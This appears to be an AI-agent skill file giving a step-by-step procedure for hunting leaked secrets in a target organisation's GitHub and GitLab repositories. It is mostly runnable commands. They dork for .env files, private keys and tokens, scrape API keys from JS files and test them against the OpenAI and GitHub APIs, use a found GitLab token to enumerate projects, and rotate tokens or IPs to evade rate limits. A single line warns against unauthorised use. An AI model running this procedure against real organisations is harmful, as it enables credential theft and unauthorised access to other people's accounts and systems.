github-secret-hunting – skill Lập trình cho agent AI

GitHub Secret Hunting

Scan public GitHub repositories for leaked API keys, tokens, passwords, and internal infrastructure details. Developers accidentally push secrets constantly — this skill uses targeted dorking, automated scanning tools, and real-time monitoring to find credentials before the developer notices and revokes them.

When to Use

• Target has public repositories under an organization account.
• JS bundle analysis reveals internal service names — search GitHub for related config files.
• Need to find valid API keys for cloud services, payment gateways, or third-party integrations.
• The target uses CI/CD systems that may leak tokens in build logs or workflow files.
• Want real-time monitoring for new secret leaks from the target org.

Prerequisites

• terminal with python3, curl, git.
• GitHub Personal Access Token (only public_repo scope needed).
• Tool dependencies: TruffleHog, GitDorker, gitleaks.

Quick Detection

# Basic GitHub code search for sensitive patterns in target repos
echo "target.com" | while read domain; do
  curl --max-time 30 --connect-timeout 10 -s -H "Authorization: token $GITHUB_TOKEN" \
    "https://api.github.com/search/code?q=$domain+filename:.env" \
    | jq '.items[]?.html_url'
done

Procedure

Phase 1 — Targeted Dorking with GitDorker

# Clone the dork collection and run against target
git clone https://github.com/Proviesec/github-dorks
python3 GitDorker.py \
  -tf $GITHUB_TOKEN \
  -q target.com \
  -d dorks/medium_dorks.txt \
  -o gitdorker_target.txt

# Also search by employee emails found in LinkedIn or metadata
python3 GitDorker.py \
  -tf $GITHUB_TOKEN \
  -q "[email protected]" \
  -d dorks/medium_dorks.txt

# Custom dork: find env files
python3 GitDorker.py -tf $GITHUB_TOKEN \
  -q "org:target filename:.env DB_PASSWORD" -d dorks/medium_dorks.txt

Phase 2 — TruffleHog Deep Scanning

# Scan a specific repo (finds secrets even in deleted commits)
trufflehog git https://github.com/target/repo --results=verified

# Scan entire GitHub org
trufflehog github --org=target --token=$GITHUB_TOKEN \
  --only-verified --threads=20 --json > trufflehog_org.json

# Docker variant
docker run --rm -it trufflesecurity/trufflehog:latest \
  github --only-verified --org=target

# Parse verified secrets
cat trufflehog_org.json | jq -r 'select(.Verified == true) | "\(.DetectorName): \(.RawV2)"'

Phase 3 — Real-Time Monitoring with shhgit

# Monitor globally for secrets being pushed right now
shhgit --search-query \
  'path:*.env OR "DB_PASSWORD=" OR "AWS_ACCESS_KEY_ID=" OR "-----BEGIN RSA PRIVATE KEY-----"'

# Monitor specific org
shhgit --search-query \
  'target.com (path:*.env OR "DB_PASSWORD=" OR "api_key=")'

Phase 4 — File Type and Extension Search

# git-wild-hunt: find specific file types
python3 git-wild-hunt.py \
  -s "org:Target extension:json filename:creds language:JSON"
python3 git-wild-hunt.py \
  -s "org:Target extension:sql filename:backup"
python3 git-wild-hunt.py \
  -s "target.com gitlab_token"

# Manual search patterns via GitHub API
for pattern in "filename:.env DB_PASSWORD" "filename:credentials.json" \
               "filename:config.json api_key" "filename:id_rsa" \
               "filename:.npmrc" "extension:pem BEGIN RSA" \
               "filename:service-account.json"; do
  curl --max-time 30 --connect-timeout 10 -s -H "Authorization: token $GITHUB_TOKEN" \
    "https://api.github.com/search/code?q=target.com+$pattern" \
    | jq '.total_count, (.items[:3][].html_url)'
done

Phase 5 — Hardcoded Credential Verification

# Pipeline: find → extract → verify
echo "target.com" | gau | grep -E '\.js$|\.json$|\.env$|\.config$' \
  | httpx -silent -mc 200 \
  | parallel -j 10 "curl --max-time 30 --connect-timeout 10 -s {} | grep -Eo \
    '(?:api[_-]?key|secret|token)[\"'\''']?\s*[:=]\s*[\"'\''']?([A-Za-z0-9_\-]{20,})' \
    | tee -a api_keys.txt"

# Verify found keys
for key in $(cat api_keys.txt | awk -F':' '{print $2}' | tr -d '"'\'' ' | sort -u); do
  # OpenAI
  curl --max-time 30 --connect-timeout 10 -s "https://api.openai.com/v1/models" -H "Authorization: Bearer $key" | jq '.data[].id' 2>/dev/null && echo "VALID OPENAI: $key"
  # GitHub
  curl --max-time 30 --connect-timeout 10 -s "https://api.github.com/user" -H "Authorization: token $key" | jq '.login' 2>/dev/null && echo "VALID GITHUB: $key"
done

Phase 6 — GitLab Private Instances

# Discover self-hosted GitLab
# Check: gitlab.target.com, git.target.com, code.target.com
curl --max-time 30 --connect-timeout 10 -sk "https://gitlab.target.com/api/v4/projects?visibility=public"

# With a found token
curl --max-time 30 --connect-timeout 10 --header "PRIVATE-TOKEN: $GITLAB_TOKEN" \
  "https://gitlab.target.com/api/v4/user"
curl --max-time 30 --connect-timeout 10 --header "PRIVATE-TOKEN: $GITLAB_TOKEN" \
  "https://gitlab.target.com/api/v4/projects?membership=true&simple=true"

# Deep scan for secrets across accessible repos
gitleaks detect \
  --source https://gitlab.target.com \
  --access-token $GITLAB_TOKEN -v

Phase 7 — Metadata Extraction from Public Documents

# metafinder: downloads public documents and extracts metadata
# Reveals usernames, software versions, internal file paths, email patterns
metafinder -d "target.com" -l 10 -go -bi -ba -o metadata_target.txt
metafinder -d "dev.target.com" -l 10 -go -bi -ba -o metadata_dev.txt

# Manual: check PDF metadata
curl --max-time 30 --connect-timeout 10 -sk "https://target.com/document.pdf" -o doc.pdf
exiftool doc.pdf | grep -i "author\|creator\|producer"

Pitfalls

• Most search results are documentation and examples, not real leaks. Focus on .env, .config, .npmrc, and CI/CD workflow files.
• Rate limiting on GitHub API is strict. Use multiple tokens or rotate IPs.
• Verified secrets may already be revoked. Always verify before reporting.
• Self-hosted GitLab instances may block external scanning. Test connectivity first.
• Never use found credentials for unauthorized access. Verify minimally, document, and report.

Verification

1. TruffleHog or GitDorker identifies a potential secret with context.

2. Verify the secret by making a minimal API call (e.g., GET /user for GitHub tokens).

3. Confirm the secret was committed recently (check commit date) — stale secrets are lower priority.

4. Check if the repo is public and the secret grants meaningful access (admin vs read-only).

5. Document the exact file path, commit hash, and line number for the report.

Related Skills

• js-secrets-extraction — Find API keys and endpoints in JavaScript bundles that may lead to GitHub repos.
• hardcoded-credential-hunt — Detect hardcoded passwords in HTML, JS, and API responses.
• source-leak-hunt — Find exposed config files (.env, .git) on live web servers.